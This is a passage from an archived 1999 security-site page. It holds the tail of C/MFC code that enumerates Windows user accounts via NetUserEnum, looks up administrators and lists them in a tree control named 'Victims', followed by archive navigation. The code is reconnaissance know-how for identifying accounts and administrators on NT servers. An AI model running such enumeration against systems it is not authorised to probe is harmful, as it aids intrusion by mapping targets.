  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  &pUserbuf, 1024,<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  &dwRead, &dwRemaining, &dwResume);<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (dwRC != ERROR_MORE_DATA && dwRC !=
  ERROR_SUCCESS)&nbsp;&nbsp;&nbsp; <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD i;<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(i = 0, pCurUser = pUserbuf; i < dwRead;
  ++i, ++pCurUser) <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <font color="#0000FF">// Convert back to ANSI.</font><br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  WideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name,
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  -1, userName, 256, NULL, NULL ); <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <font color="#0000FF">// Convert back to ANSI.</font><br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  WideCharToMultiByte( CP_ACP, 0, pServer, -1,<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  userServer, 256, NULL, NULL ); <br>
  <br>
  if(!GotAdmin)<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font color="#0000FF">//use char strings</font><br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CString Admin;<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GotAdmin = GetAdmin(userServer, userName,
  Admin);<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(GotAdmin)<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Admin.TrimRight();<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HTREEITEM adminChild =
  pDlg->m_Victims.InsertItem(Admin,
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  adminRoot, TVI_LAST);<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  pDlg->m_Victims.EnsureVisible(adminChild);<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CString strUserName = userName;<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pDlg->m_Victims.InsertItem(strUserName,
  userRoot, TVI_LAST);<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (pUserbuf != NULL)<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  NetApiBufferFree(pUserbuf);<br>
  &nbsp;&nbsp;&nbsp; } while (dwRC == ERROR_MORE_DATA);<br>
  <br>
  &nbsp;&nbsp;&nbsp; if (dwRC != ERROR_SUCCESS)<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("NUE() returned %lu\n", dwRC);<br>
  }</small></p>
</blockquote>

<p>&nbsp;
<p align="center"><font face="MS Sans Serif"><small>Send mail to <a href="mailto:info@ntobjectives.com">info@ntobjectives.com</a> with questions or comments about this document.<br>
Copyright © 1999 NT OBJECTives, Inc. &nbsp;
All Rights Reserved.<br>
All trademarks are the property of their respective owners.<br>
Last modified: June 28, 1999</small></font>
</p>
</html>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close